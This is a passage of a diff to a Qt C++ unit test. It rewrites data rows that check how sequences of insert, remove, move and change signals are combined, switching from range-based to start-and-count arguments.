- QTest::newRow("c(4-9),c(9-11)")
- << (SignalList() << Change(4, 9) << Change(9, 11))
- << (SignalList() << Change(4, 11));
- QTest::newRow("c(4-9),c(3-5)")
- << (SignalList() << Change(4, 9) << Change(3, 5))
- << (SignalList() << Change(3, 9));
- QTest::newRow("c(4-9),c(8-10)")
- << (SignalList() << Change(4, 9) << Change(8, 10))
- << (SignalList() << Change(4, 10));
- QTest::newRow("c(4-9),c(3-5)")
- << (SignalList() << Change(4, 9) << Change(3, 5))
- << (SignalList() << Change(3, 9));
- QTest::newRow("c(4-9),c(2,11)")
- << (SignalList() << Change(4, 9) << Change(2, 11))
- << (SignalList() << Change(2, 11));
- QTest::newRow("c(4-9),c(12-15),c(8-14)")
- << (SignalList() << Change(4, 9) << Change(12, 15) << Change(8, 14))
- << (SignalList() << Change(4, 15));
-
- // Insert, then remove.
- QTest::newRow("i(12-18),r(12-18)")
- << (SignalList() << Insert(12, 18) << Remove(12, 18))
+ QTest::newRow("c(4,5)")
+ << (SignalList() << Change(4,5))
+ << (SignalList() << Change(4,5));
+ QTest::newRow("c(4,5),c(12,2)")
+ << (SignalList() << Change(4,5) << Change(12,2))
+ << (SignalList() << Change(4,5) << Change(12,2));
+ QTest::newRow("c(12,2),c(4,5)")
+ << (SignalList() << Change(12,2) << Change(4,5))
+ << (SignalList() << Change(4,5) << Change(12,2));
+ QTest::newRow("c(4,5),c(2,2)")
+ << (SignalList() << Change(4,5) << Change(2,2))
+ << (SignalList() << Change(2,7));
+ QTest::newRow("c(4,5),c(9,2)")
+ << (SignalList() << Change(4,5) << Change(9,2))
+ << (SignalList() << Change(4,7));
+ QTest::newRow("c(4,5),c(3,2)")
+ << (SignalList() << Change(4,5) << Change(3,2))
+ << (SignalList() << Change(3,6));
+ QTest::newRow("c(4,5),c(8,2)")
+ << (SignalList() << Change(4,5) << Change(8,2))
+ << (SignalList() << Change(4,6));
+ QTest::newRow("c(4,5),c(3,2)")
+ << (SignalList() << Change(4,5) << Change(3,2))
+ << (SignalList() << Change(3,6));
+ QTest::newRow("c(4,5),c(2,9)")
+ << (SignalList() << Change(4,5) << Change(2,9))
+ << (SignalList() << Change(2,9));
+ QTest::newRow("c(4,5),c(12,3),c(8,6)")
+ << (SignalList() << Change(4,5) << Change(12,3) << Change(8,6))
+ << (SignalList() << Change(4,11));
+
+ // Insert,then remove.
+ QTest::newRow("i(12,6),r(12,6)")
+ << (SignalList() << Insert(12,6) << Remove(12,6))
<< (SignalList());
- QTest::newRow("i(12-18),r(10-14)")
- << (SignalList() << Insert(12, 18) << Remove(10, 14))
- << (SignalList() << Remove(10, 12) << Insert(10, 14));
- QTest::newRow("i(12-18),r(16-20)")
- << (SignalList() << Insert(12, 18) << Remove(16, 20))
- << (SignalList() << Remove(12, 14) << Insert(12, 16));
- QTest::newRow("i(12-18),r(13-17)")
- << (SignalList() << Insert(12, 18) << Remove(13, 17))
- << (SignalList() << Insert(12, 14));
- QTest::newRow("i(12-18),r(14,18)")
- << (SignalList() << Insert(12, 18) << Remove(14, 18))
- << (SignalList() << Insert(12, 14));
- QTest::newRow("i(12-18),r(12-16)")
- << (SignalList() << Insert(12, 18) << Remove(12, 16))
- << (SignalList() << Insert(12, 14));
- QTest::newRow("i(12-18),r(11-19)")
- << (SignalList() << Insert(12, 18) << Remove(11, 19))
- << (SignalList() << Remove(11, 13));
- QTest::newRow("i(12-18),r(8-12)")
- << (SignalList() << Insert(12, 18) << Remove(8, 12))
- << (SignalList() << Remove(8, 12) << Insert(8, 14));
- QTest::newRow("i(12-18),r(2-6)")
- << (SignalList() << Insert(12, 18) << Remove(2, 6))
- << (SignalList() << Remove(2, 6) << Insert(8, 14));
- QTest::newRow("i(12-18),r(18-22)")
- << (SignalList() << Insert(12, 18) << Remove(18, 22))
- << (SignalList() << Remove(12, 16) << Insert(12, 18));
- QTest::newRow("i(12-18),r(20-24)")
- << (SignalList() << Insert(12, 18) << Remove(20, 24))
- << (SignalList() << Remove(14, 18) << Insert(12, 18));
-
- // Insert, then move
- QTest::newRow("i(12-18),m(12-18,5)")
- << (SignalList() << Insert(12, 18) << Move(12, 18, 5))
- << (SignalList() << Insert(5, 11));
- QTest::newRow("i(12-18),m(10-14,5)")
- << (SignalList() << Insert(12, 18) << Move(10, 14, 5))
- << (SignalList() << Insert(5, 7) << Insert(14, 18) << Move(12, 14, 5));
- QTest::newRow("i(12-18),m(16-20,5)")
- << (SignalList() << Insert(12, 18) << Move(16, 20, 5))
- << (SignalList() << Insert(5, 7) << Insert(14, 18) << Move(18, 20, 7));
- QTest::newRow("i(12-18),m(13-17,5)")
- << (SignalList() << Insert(12, 18) << Move(13, 17, 5))
- << (SignalList() << Insert(5, 9) << Insert(16, 18));
- QTest::newRow("i(12-18),m(14-18,5)")
- << (SignalList() << Insert(12, 18) << Move(14, 18, 5))
- << (SignalList() << Insert(5, 9) << Insert(16, 18));
- QTest::newRow("i(12-18),m(12-16,5)")
- << (SignalList() << Insert(12, 18) << Move(12, 16, 5))
- << (SignalList() << Insert(5, 9) << Insert(16, 18));
- QTest::newRow("i(12-18),m(11-19,5)")
- << (SignalList() << Insert(12, 18) << Move(11, 19, 5))
- << (SignalList() << Insert(5, 11) << Move(17, 18, 5) << Move(18, 19, 12));
- QTest::newRow("i(12-18),m(8-12,5)")
- << (SignalList() << Insert(12, 18) << Move(8, 12, 5))
- << (SignalList() << Insert(12, 18) << Move(8, 12, 5));
- QTest::newRow("i(12-18),m(2-6,5)")
- << (SignalList() << Insert(12, 18) << Move(2, 6, 5))
- << (SignalList() << Insert(12, 18) << Move(2, 6, 5));
- QTest::newRow("i(12-18),m(18-22,5)")
- << (SignalList() << Insert(12, 18) << Move(18, 22, 5))
- << (SignalList() << Insert(12, 18) << Move(18, 22, 5));
- QTest::newRow("i(12-18),m(20-24,5)")
- << (SignalList() << Insert(12, 18) << Move(20, 24, 5))
- << (SignalList() << Insert(12, 18) << Move(20, 24, 5));
-
- QTest::newRow("i(12-18),m(5-13,11)")
- << (SignalList() << Insert(12, 18) << Move(5, 13, 11))
- << (SignalList() << Insert(12, 17) << Insert(18, 19) << Move(5, 12, 11));
-
- QTest::newRow("i(12-18),m(12-18,23)")
- << (SignalList() << Insert(12, 18) << Move(12, 18, 23))
- << (SignalList() << Insert(23, 29));
- QTest::newRow("i(12-18),m(10-14,23)")
- << (SignalList() << Insert(12, 18) << Move(10, 14, 23))
- << (SignalList() << Insert(12, 16) << Insert(25, 27) << Move(10, 12, 23));
- QTest::newRow("i(12-18),m(16-20,23)")
- << (SignalList() << Insert(12, 18) << Move(16, 20, 23))
- << (SignalList() << Insert(12, 16) << Insert(25, 27) << Move(16, 18, 25));
- QTest::newRow("i(12-18),m(13-17,23)")
- << (SignalList() << Insert(12, 18) << Move(13, 17, 23))
- << (SignalList() << Insert(12, 14) << Insert(23, 27));
- QTest::newRow("i(12-18),m(14-18,23)")
- << (SignalList() << Insert(12, 18) << Move(14, 18, 23))
- << (SignalList() << Insert(12, 14) << Insert(23, 27));
- QTest::newRow("i(12-18),m(12-16,23)")
- << (SignalList() << Insert(12, 18) << Move(12, 16, 23))
- << (SignalList() << Insert(12, 14) << Insert(23, 27));
- QTest::newRow("i(12-18),m(11-19,23)")
- << (SignalList() << Insert(12, 18) << Move(11, 19, 23))
- << (SignalList() << Insert(25, 31) << Move(11, 12, 24) << Move(11, 12, 30));
- QTest::newRow("i(12-18),m(8-12,23)")
- << (SignalList() << Insert(12, 18) << Move(8, 12, 23))
- << (SignalList() << Insert(12, 18) << Move(8, 12, 23));
- QTest::newRow("i(12-18),m(2-6,23)")
- << (SignalList() << Insert(12, 18) << Move(2, 6, 23))
- << (SignalList() << Insert(12, 18) << Move(2, 6, 23));
- QTest::newRow("i(12-18),m(18-22,23)")
- << (SignalList() << Insert(12, 18) << Move(18, 22, 23))
- << (SignalList() << Insert(12, 18) << Move(18, 22, 23));
- QTest::newRow("i(12-18),m(20-24,23)")
- << (SignalList() << Insert(12, 18) << Move(20, 24, 23))
- << (SignalList() << Insert(12, 18) << Move(20, 24, 23));
-
- QTest::newRow("i(12-18),m(11-21,23)")
- << (SignalList() << Insert(12, 18) << Move(11, 21, 23))
- << (SignalList() << Insert(27, 33) << Move(11, 12, 26) << Move(11, 14, 30));
-
- // Insert, then change
- QTest::newRow("i(12-18),c(12-16)")
- << (SignalList() << Insert(12, 18) << Change(12, 6))
- << (SignalList() << Insert(12, 18));
- QTest::newRow("i(12-18),c(10-14)")
- << (SignalList() << Insert(12, 18) << Change(10, 16))
- << (SignalList() << Insert(12, 18) << Change(10, 12));
- QTest::newRow("i(12-18),c(16-20)")
- << (SignalList() << Insert(12, 18) << Change(16, 20))
- << (SignalList() << Insert(12, 18) << Change(18, 20));
- QTest::newRow("i(12-18),c(13-17)")
- << (SignalList() << Insert(12, 18) << Change(13, 17))
- << (SignalList() << Insert(12, 18));
- QTest::newRow("i(12-18),c(14-18)")
- << (SignalList() << Insert(12, 18) << Change(14, 18))
- << (SignalList() << Insert(12, 18));
- QTest::newRow("i(12-18),c(12-16)")
- << (SignalList() << Insert(12, 18) << Change(12, 16))
- << (SignalList() << Insert(12, 18));
- QTest::newRow("i(12-18),c(11-19)")
- << (SignalList() << Insert(12, 18) << Change(11, 19))
- << (SignalList() << Insert(12, 18) << Change(11, 12) << Change(18, 19));
- QTest::newRow("i(12-18),c(8-12)")
- << (SignalList() << Insert(12, 18) << Change(8, 12))
- << (SignalList() << Insert(12, 18) << Change(8, 12));
- QTest::newRow("i(12-18),c(2-6)")
- << (SignalList() << Insert(12, 18) << Change(2, 6))
- << (SignalList() << Insert(12, 18) << Change(2, 6));
- QTest::newRow("i(12-18),c(18-22)")
- << (SignalList() << Insert(12, 18) << Change(18, 22))
- << (SignalList() << Insert(12, 18) << Change(18, 22));
- QTest::newRow("i(12-18),c(20-24)")
- << (SignalList() << Insert(12, 18) << Change(20, 24))
- << (SignalList() << Insert(12, 18) << Change(20, 24));
-
- // Remove, then insert
- QTest::newRow("r(12-18),i(12-18)")
- << (SignalList() << Remove(12, 18) << Insert(12, 18))
- << (SignalList() << Remove(12, 18) << Insert(12, 18));
- QTest::newRow("r(12-18),i(10-14)")
- << (SignalList() << Remove(12, 18) << Insert(10, 14))
- << (SignalList() << Remove(12, 18) << Insert(10, 14));
- QTest::newRow("r(12-18),i(16-20)")
- << (SignalList() << Remove(12, 18) << Insert(16, 20))
- << (SignalList() << Remove(12, 18) << Insert(16, 20));
- QTest::newRow("r(12-18),i(13-17)")
- << (SignalList() << Remove(12, 18) << Insert(13, 17))
- << (SignalList() << Remove(12, 18) << Insert(13, 17));
- QTest::newRow("r(12-18),i(14-18)")
- << (SignalList() << Remove(12, 18) << Insert(14, 18))
- << (SignalList() << Remove(12, 18) << Insert(14, 18));
- QTest::newRow("r(12-18),i(12-16)")
- << (SignalList() << Remove(12, 18) << Insert(12, 16))
- << (SignalList() << Remove(12, 18) << Insert(12, 16));
- QTest::newRow("r(12-18),i(11-19)")
- << (SignalList() << Remove(12, 18) << Insert(11, 19))
- << (SignalList() << Remove(12, 18) << Insert(11, 19));
- QTest::newRow("i(12-18),r(8-12)")
- << (SignalList() << Remove(12, 18) << Insert(8, 12))
- << (SignalList() << Remove(12, 18) << Insert(8, 12));
- QTest::newRow("i(12-18),r(2-6)")
- << (SignalList() << Remove(12, 18) << Insert(2, 6))
- << (SignalList() << Remove(12, 18) << Insert(2, 6));
- QTest::newRow("i(12-18),r(18-22)")
- << (SignalList() << Remove(12, 18) << Insert(18, 22))
- << (SignalList() << Remove(12, 18) << Insert(18, 22));
- QTest::newRow("i(12-18),r(20-24)")
- << (SignalList() << Remove(12, 18) << Insert(20, 24))
- << (SignalList() << Remove(12, 18) << Insert(20, 24));
-
- // Move, then insert
- QTest::newRow("m(12-18,5),i(12-18)")
- << (SignalList() << Move(12, 18, 5) << Insert(12, 18))
- << (SignalList() << Insert(6, 12) << Move(18, 24, 5));
- QTest::newRow("m(12-18,5),i(10-14)")
- << (SignalList() << Move(12, 18, 5) << Insert(10, 14))
- << (SignalList() << Insert(5, 9) << Move(16, 21, 5) << Move(21, 22, 14));
- QTest::newRow("m(12-18,5),i(16-20)")
- << (SignalList() << Move(12, 18, 5) << Insert(16, 20))
- << (SignalList() << Insert(10, 14) << Move(16, 22, 5));
- QTest::newRow("m(12-18,5),i(13-17)")
- << (SignalList() << Move(12, 18, 5) << Insert(13, 17))
- << (SignalList() << Insert(7, 11) << Move(16, 22, 5));
- QTest::newRow("m(12-18,5),i(14-18)")
- << (SignalList() << Move(12, 18, 5) << Insert(14, 18))
- << (SignalList() << Insert(8, 12) << Move(16, 22, 5));
- QTest::newRow("m(12-18,5),i(12-16)")
- << (SignalList() << Move(12, 18, 5) << Insert(12, 16))
- << (SignalList() << Insert(6, 10) << Move(16, 22, 5));
- QTest::newRow("m(12-18,5),i(11-19)")
- << (SignalList() << Move(12, 18, 5) << Insert(11, 19))
- << (SignalList() << Insert(5, 13) << Move(20, 26, 5));
- QTest::newRow("m(12-18,5),i(8-12)")
- << (SignalList() << Move(12, 18, 5) << Insert(8, 12))
- << (SignalList() << Insert(5, 9) << Move(16, 19, 5) << Move(19, 22, 12));
- QTest::newRow("m(12-18,5),i(2-6)")
- << (SignalList() << Move(12, 18, 5) << Insert(2, 6))
- << (SignalList() << Insert(2, 6) << Move(16, 22, 9));
- QTest::newRow("m(12-18,5),i(18-22)")
- << (SignalList() << Move(12, 18, 5) << Insert(18, 22))
- << (SignalList() << Insert(18, 22) << Move(12, 18, 5));
- QTest::newRow("m(12-18,5),i(20-24)")
- << (SignalList() << Move(12, 18, 5) << Insert(20, 24))
- << (SignalList() << Insert(20, 24) << Move(12, 18, 5));
-
- QTest::newRow("m(12-18,23),i(12-18)")
- << (SignalList() << Move(12, 18, 23) << Insert(12, 18))
- << (SignalList() << Insert(12, 18) << Move(18, 24, 29));
- QTest::newRow("m(12-18,23),i(10-14)")
- << (SignalList() << Move(12, 18, 23) << Insert(10, 14))
- << (SignalList() << Insert(10, 14) << Move(16, 22, 27));
- QTest::newRow("m(12-18,23),i(16-20)")
- << (SignalList() << Move(12, 18, 23) << Insert(16, 20))
- << (SignalList() << Insert(22, 26) << Move(12, 18, 27));
- QTest::newRow("m(12-18,23),i(13-17)")
- << (SignalList() << Move(12, 18, 23) << Insert(13, 17))
- << (SignalList() << Insert(19, 23) << Move(12, 18, 27));
- QTest::newRow("m(12-18,23),i(14-18)")
- << (SignalList() << Move(12, 18, 23) << Insert(14, 18))
- << (SignalList() << Insert(20, 24) << Move(12, 18, 27));
- QTest::newRow("m(12-18,23),i(12-16)")
- << (SignalList() << Move(12, 18, 23) << Insert(12, 16))
- << (SignalList() << Insert(12, 16) << Move(16, 22, 27));
- QTest::newRow("m(12-18,23),i(11-19)")
- << (SignalList() << Move(12, 18, 23) << Insert(11, 19))
- << (SignalList() << Insert(11, 19) << Move(20, 26, 31));
- QTest::newRow("m(12-18,23),i(8-12)")
- << (SignalList() << Move(12, 18, 23) << Insert(8, 12))
- << (SignalList() << Insert(8, 12) << Move(16, 22, 27));
- QTest::newRow("m(12-18,23),i(2-6)")
- << (SignalList() << Move(12, 18, 23) << Insert(2, 6))
- << (SignalList() << Insert(2, 6) << Move(16, 22, 27));
- QTest::newRow("m(12-18,23),i(18-22)")
- << (SignalList() << Move(12, 18, 23) << Insert(18, 22))
- << (SignalList() << Insert(24, 28) << Move(12, 18, 27));
- QTest::newRow("m(12-18,23),i(20-24)")
- << (SignalList() << Move(12, 18, 23) << Insert(20, 24))
- << (SignalList() << Insert(26, 30) << Move(12, 18, 27));
-
- // Move, then remove
- QTest::newRow("m(12-18,5),r(12-18)")
- << (SignalList() << Move(12, 18, 5) << Remove(12, 18))
- << (SignalList() << Remove(6, 12) << Move(6, 12, 5));
- QTest::newRow("m(12-18,5),r(10-14)")
- << (SignalList() << Move(12, 18, 5) << Remove(10, 14))
- << (SignalList() << Remove(5, 8) << Remove(14, 15) << Move(9, 14, 5));
- QTest::newRow("m(12-18,5),r(16-20)")
- << (SignalList() << Move(12, 18, 5) << Remove(16, 20))
- << (SignalList() << Remove(10, 12) << Remove(16, 18) << Move(10, 16, 5));
- QTest::newRow("m(12-18,5),r(13-17)")
- << (SignalList() << Move(12, 18, 5) << Remove(13, 17))
- << (SignalList() << Remove(7, 11) << Move(8, 14, 5));
- QTest::newRow("m(12-18,5),r(14-18)")
- << (SignalList() << Move(12, 18, 5) << Remove(14, 18))
- << (SignalList() << Remove(8, 12) << Move(8, 14, 5));
- QTest::newRow("m(12-18,5),r(12-16)")
- << (SignalList() << Move(12, 18, 5) << Remove(12, 16))
- << (SignalList() << Remove(6, 10) << Move(8, 14, 5));
- QTest::newRow("m(12-18,5),r(11-19)")
- << (SignalList() << Move(12, 18, 5) << Remove(11, 19))
- << (SignalList() << Remove(5, 12) << Remove(11, 12));
- QTest::newRow("m(12-18,5),r(8-12)")
- << (SignalList() << Move(12, 18, 5) << Remove(8, 12))
- << (SignalList() << Remove(5, 6) << Remove(14, 17) << Move(11, 14, 5));
- QTest::newRow("m(12-18,5),r(2-6)")
- << (SignalList() << Move(12, 18, 5) << Remove(2, 6))
- << (SignalList() << Remove(2, 5) << Remove(9, 10) << Move(9, 14, 2));
- QTest::newRow("m(12-18,5),r(6-10)")
- << (SignalList() << Move(12, 18, 5) << Remove(6, 10))
- << (SignalList() << Remove(13, 17) << Move(12, 14, 5));
- QTest::newRow("m(12-18,5),r(18-22)")
- << (SignalList() << Move(12, 18, 5) << Remove(18, 22))
- << (SignalList() << Remove(18, 22) << Move(12, 18, 5));
- QTest::newRow("m(12-18,5),r(20-24)")
- << (SignalList() << Move(12, 18, 5) << Remove(20, 24))
- << (SignalList() << Remove(20, 24) << Move(12, 18, 5));
-
- QTest::newRow("m(12-18,23),r(12-18)")
- << (SignalList() << Move(12, 18, 23) << Remove(12, 18))
- << (SignalList() << Remove(18, 24) << Move(12, 18, 17));
- QTest::newRow("m(12-18,23),r(10-14)")
- << (SignalList() << Move(12, 18, 23) << Remove(10, 14))
- << (SignalList() << Remove(10, 12) << Remove(16, 18) << Move(10, 16, 19));
- QTest::newRow("m(12-18,23),r(16-20)")
- << (SignalList() << Move(12, 18, 23) << Remove(16, 20))
- << (SignalList() << Remove(22, 26) << Move(12, 18, 19));
- QTest::newRow("m(12-18,23),r(13-17)")
- << (SignalList() << Move(12, 18, 23) << Remove(13, 17))
- << (SignalList() << Remove(19, 23) << Move(12, 18, 19));
- QTest::newRow("m(12-18,23),r(14-18)")
- << (SignalList() << Move(12, 18, 23) << Remove(14, 18))
- << (SignalList() << Remove(20, 24) << Move(12, 18, 19));
- QTest::newRow("m(12-18,23),r(12-16)")
- << (SignalList() << Move(12, 18, 23) << Remove(12, 16))
- << (SignalList() << Remove(18, 22) << Move(12, 18, 19));
- QTest::newRow("m(12-18,23),r(11-19)")
- << (SignalList() << Move(12, 18, 23) << Remove(11, 19))
- << (SignalList() << Remove(11, 12) << Remove(17, 24) << Move(11, 17, 15));
- QTest::newRow("m(12-18,23),r(8-12)")
- << (SignalList() << Move(12, 18, 23) << Remove(8, 12))
- << (SignalList() << Remove(8, 12) << Move(8, 14, 19));
- QTest::newRow("m(12-18,23),r(2-6)")
- << (SignalList() << Move(12, 18, 23) << Remove(2, 6))
- << (SignalList() << Remove(2, 6) << Move(8, 14, 19));
- QTest::newRow("m(12-18,23),r(18-22)")
- << (SignalList() << Move(12, 18, 23) << Remove(18, 22))
- << (SignalList() << Remove(24, 28) << Move(12, 18, 19));
- QTest::newRow("m(12-18,23),r(20-24)")
- << (SignalList() << Move(12, 18, 23) << Remove(20, 24))
- << (SignalList() << Remove(12, 13) << Remove(25, 28) << Move(12, 17, 20));
+ QTest::newRow("i(12,6),r(10,4)")
+ << (SignalList() << Insert(12,6) << Remove(10,4))
+ << (SignalList() << Remove(10,2) << Insert(10,4));
+ QTest::newRow("i(12,6),r(16,4)")
+ << (SignalList() << Insert(12,6) << Remove(16,4))
+ << (SignalList() << Remove(12,2) << Insert(12,4));
+ QTest::newRow("i(12,6),r(13,4)")
+ << (SignalList() << Insert(12,6) << Remove(13,4))
+ << (SignalList() << Insert(12,2));
+ QTest::newRow("i(12,6),r(14,4)")
+ << (SignalList() << Insert(12,6) << Remove(14,4))
+ << (SignalList() << Insert(12,2));
+ QTest::newRow("i(12,6),r(12,4)")
+ << (SignalList() << Insert(12,6) << Remove(12,4))
+ << (SignalList() << Insert(12,2));
+ QTest::newRow("i(12,6),r(11,8)")
+ << (SignalList() << Insert(12,6) << Remove(11,8))
+ << (SignalList() << Remove(11,2));
+ QTest::newRow("i(12,6),r(8,4)")
+ << (SignalList() << Insert(12,6) << Remove(8,4))
+ << (SignalList() << Remove(8,4) << Insert(8,6));
+ QTest::newRow("i(12,6),r(2,4)")
+ << (SignalList() << Insert(12,6) << Remove(2,4))
+ << (SignalList() << Remove(2,4) << Insert(8,6));
+ QTest::newRow("i(12,6),r(18,4)")
+ << (SignalList() << Insert(12,6) << Remove(18,4))
+ << (SignalList() << Remove(12,4) << Insert(12,6));
+ QTest::newRow("i(12,6),r(20,4)")
+ << (SignalList() << Insert(12,6) << Remove(20,4))
+ << (SignalList() << Remove(14,4) << Insert(12,6));
+
+ // Insert,then move
+ QTest::newRow("i(12,6),m(12-5,6)")
+ << (SignalList() << Insert(12,6) << Move(12,5,6))
+ << (SignalList() << Insert(5,6));
+ QTest::newRow("i(12,6),m(10-5,4)")
+ << (SignalList() << Insert(12,6) << Move(10,5,4))
+ << (SignalList() << Remove(10,2,0) << Insert(5,2,0) << Insert(7,2) << Insert(14,4));
+ QTest::newRow("i(12,6),m(16-5,4)")
+ << (SignalList() << Insert(12,6) << Move(16,5,4))
+ << (SignalList() << Remove(12,2,0) << Insert(5,2) << Insert(7,2,0) << Insert(16,4));
+ QTest::newRow("i(12,6),m(13-5,4)")
+ << (SignalList() << Insert(12,6) << Move(13,5,4))
+ << (SignalList() << Insert(5,4) << Insert(16,2));
+ QTest::newRow("i(12,6),m(14-5,4)")
+ << (SignalList() << Insert(12,6) << Move(14,5,4))
+ << (SignalList() << Insert(5,4) << Insert(16,2));
+ QTest::newRow("i(12,6),m(12-5,4)")
+ << (SignalList() << Insert(12,6) << Move(12,5,4))
+ << (SignalList() << Insert(5,4) << Insert(16,2));
+ QTest::newRow("i(12,6),m(11-5,8)")
+ << (SignalList() << Insert(12,6) << Move(11,5,8))
+ << (SignalList() << Remove(11,1,0) << Remove(11,1,1) << Insert(5,1,0) << Insert(6,6) << Insert(12,1,1));
+ QTest::newRow("i(12,6),m(8-5,4)")
+ << (SignalList() << Insert(12,6) << Move(8,5,4))
+ << (SignalList() << Remove(8,4,0) << Insert(5,4,0) << Insert(12,6));
+ QTest::newRow("i(12,6),m(2-5,4)")
+ << (SignalList() << Insert(12,6) << Move(2,5,4))
+ << (SignalList() << Remove(2,4,0) << Insert(5,4,0) << Insert(12,6));
+ QTest::newRow("i(12,6),m(18-5,4)")
+ << (SignalList() << Insert(12,6) << Move(18,5,4))
+ << (SignalList() << Remove(12,4,0) << Insert(5,4,0) << Insert(16,6));
+ QTest::newRow("i(12,6),m(20-5,4)")
+ << (SignalList() << Insert(12,6) << Move(20,5,4))
+ << (SignalList() << Remove(14,4,0) << Insert(5,4,0) << Insert(16,6));
+
+ QTest::newRow("i(12,6),m(5-13,11)")
+ << (SignalList() << Insert(12,6) << Move(5,11,8))
+ << (SignalList() << Remove(5,7,0) << Insert(5,5) << Insert(11,7,0) << Insert(18,1));
+
+ QTest::newRow("i(12,6),m(12-23,6)")
+ << (SignalList() << Insert(12,6) << Move(12,23,6))
+ << (SignalList() << Insert(23,6));
+ QTest::newRow("i(12,6),m(10-23,4)")
+ << (SignalList() << Insert(12,6) << Move(10,23,4))
+ << (SignalList() << Remove(10,2,0) << Insert(10,4) << Insert(23,2,0) << Insert(25,2));
+ QTest::newRow("i(12,6),m(16-23,4)")
+ << (SignalList() << Insert(12,6) << Move(16,23,4))
+ << (SignalList() << Remove(12,2,0) << Insert(12,4) << Insert(23,2) << Insert(25,2,0));
+ QTest::newRow("i(12,6),m(13-23,4)")
+ << (SignalList() << Insert(12,6) << Move(13,23,4))
+ << (SignalList() << Insert(12,2) << Insert(23,4));
+ QTest::newRow("i(12,6),m(14-23,4)")
+ << (SignalList() << Insert(12,6) << Move(14,23,4))
+ << (SignalList() << Insert(12,2) << Insert(23,4));
+ QTest::newRow("i(12,6),m(12-23,4)")
+ << (SignalList() << Insert(12,6) << Move(12,23,4))
+ << (SignalList() << Insert(12,2) << Insert(23,4));
+ QTest::newRow("i(12,6),m(11-23,8)")
+ << (SignalList() << Insert(12,6) << Move(11,23,8))
+ << (SignalList() << Remove(11,1,0) << Remove(11,1,1) << Insert(23,1,0)<< Insert(24,6) << Insert(30,1,1));
+ QTest::newRow("i(12,6),m(8-23,4)")
+ << (SignalList() << Insert(12,6) << Move(8,23,4))
+ << (SignalList() << Remove(8,4,0) << Insert(8,6) << Insert(23,4,0));
+ QTest::newRow("i(12,6),m(2-23,4)")
+ << (SignalList() << Insert(12,6) << Move(2,23,4))
+ << (SignalList() << Remove(2,4,0) << Insert(8,6) << Insert(23,4,0));
+ QTest::newRow("i(12,6),m(18-23,4)")
+ << (SignalList() << Insert(12,6) << Move(18,23,4))
+ << (SignalList() << Remove(12,4,0) << Insert(12,6) << Insert(23,4,0));
+ QTest::newRow("i(12,6),m(20-23,4)")
+ << (SignalList() << Insert(12,6) << Move(20,23,4))
+ << (SignalList() << Remove(14,4,0) << Insert(12,6) << Insert(23,4,0));
+
+ QTest::newRow("i(12,6),m(11-23,10)")
+ << (SignalList() << Insert(12,6) << Move(11,23,10))
+ << (SignalList() << Remove(11,1,0) << Remove(11,3,1) << Insert(23,1,0) << Insert(24,6) << Insert(30,3,1));
+
+ // Insert,then change
+ QTest::newRow("i(12,6),c(12,6)")
+ << (SignalList() << Insert(12,6) << Change(12,6))
+ << (SignalList() << Insert(12,6));
+ QTest::newRow("i(12,6),c(10,6)")
+ << (SignalList() << Insert(12,6) << Change(10,6))
+ << (SignalList() << Insert(12,6) << Change(10,2));
+ QTest::newRow("i(12,6),c(16,4)")
+ << (SignalList() << Insert(12,6) << Change(16,4))
+ << (SignalList() << Insert(12,6) << Change(18,2));
+ QTest::newRow("i(12,6),c(13,4)")
+ << (SignalList() << Insert(12,6) << Change(13,4))
+ << (SignalList() << Insert(12,6));
+ QTest::newRow("i(12,6),c(14,4)")
+ << (SignalList() << Insert(12,6) << Change(14,4))
+ << (SignalList() << Insert(12,6));
+ QTest::newRow("i(12,6),c(12,4)")
+ << (SignalList() << Insert(12,6) << Change(12,4))
+ << (SignalList() << Insert(12,6));
+ QTest::newRow("i(12,6),c(11,8)")
+ << (SignalList() << Insert(12,6) << Change(11,8))
+ << (SignalList() << Insert(12,6) << Change(11,1) << Change(18,1));
+ QTest::newRow("i(12,6),c(8,4)")
+ << (SignalList() << Insert(12,6) << Change(8,4))
+ << (SignalList() << Insert(12,6) << Change(8,4));
+ QTest::newRow("i(12,6),c(2,4)")
+ << (SignalList() << Insert(12,6) << Change(2,4))
+ << (SignalList() << Insert(12,6) << Change(2,4));
+ QTest::newRow("i(12,6),c(18,4)")
+ << (SignalList() << Insert(12,6) << Change(18,4))
+ << (SignalList() << Insert(12,6) << Change(18,4));
+ QTest::newRow("i(12,6),c(20,4)")
+ << (SignalList() << Insert(12,6) << Change(20,4))
+ << (SignalList() << Insert(12,6) << Change(20,4));
+
+ // Remove,then insert
+ QTest::newRow("r(12,6),i(12,6)")
+ << (SignalList() << Remove(12,6) << Insert(12,6))
+ << (SignalList() << Remove(12,6) << Insert(12,6));
+ QTest::newRow("r(12,6),i(10,4)")
+ << (SignalList() << Remove(12,6) << Insert(10,14))
+ << (SignalList() << Remove(12,6) << Insert(10,14));
+ QTest::newRow("r(12,6),i(16,4)")
+ << (SignalList() << Remove(12,6) << Insert(16,4))
+ << (SignalList() << Remove(12,6) << Insert(16,4));
+ QTest::newRow("r(12,6),i(13,4)")
+ << (SignalList() << Remove(12,6) << Insert(13,4))
+ << (SignalList() << Remove(12,6) << Insert(13,4));
+ QTest::newRow("r(12,6),i(14,4)")
+ << (SignalList() << Remove(12,6) << Insert(14,4))
+ << (SignalList() << Remove(12,6) << Insert(14,4));
+ QTest::newRow("r(12,6),i(12,4)")
+ << (SignalList() << Remove(12,6) << Insert(12,4))
+ << (SignalList() << Remove(12,6) << Insert(12,4));
+ QTest::newRow("r(12,6),i(11,8)")
+ << (SignalList() << Remove(12,6) << Insert(11,8))
+ << (SignalList() << Remove(12,6) << Insert(11,8));
+ QTest::newRow("r(12,6),i(8,4)")
+ << (SignalList() << Remove(12,6) << Insert(8,4))
+ << (SignalList() << Remove(12,6) << Insert(8,4));
+ QTest::newRow("r(12,6),i(2,4)")
+ << (SignalList() << Remove(12,6) << Insert(2,4))
+ << (SignalList() << Remove(12,6) << Insert(2,4));
+ QTest::newRow("r(12,6),i(18,4)")
+ << (SignalList() << Remove(12,6) << Insert(18,4))
+ << (SignalList() << Remove(12,6) << Insert(18,4));
+ QTest::newRow("r(12,6),i(20,4)")
+ << (SignalList() << Remove(12,6) << Insert(20,4))
+ << (SignalList() << Remove(12,6) << Insert(20,4));
+
+ // Move,then insert
+ QTest::newRow("m(12-5,6),i(12,6)")
+ << (SignalList() << Move(12,5,6) << Insert(12,6))
+ << (SignalList() << Remove(12,6,0) << Insert(5,6,0) << Insert(12,6));
+ QTest::newRow("m(12-5,6),i(10,4)")
+ << (SignalList() << Move(12,5,6) << Insert(10,4))
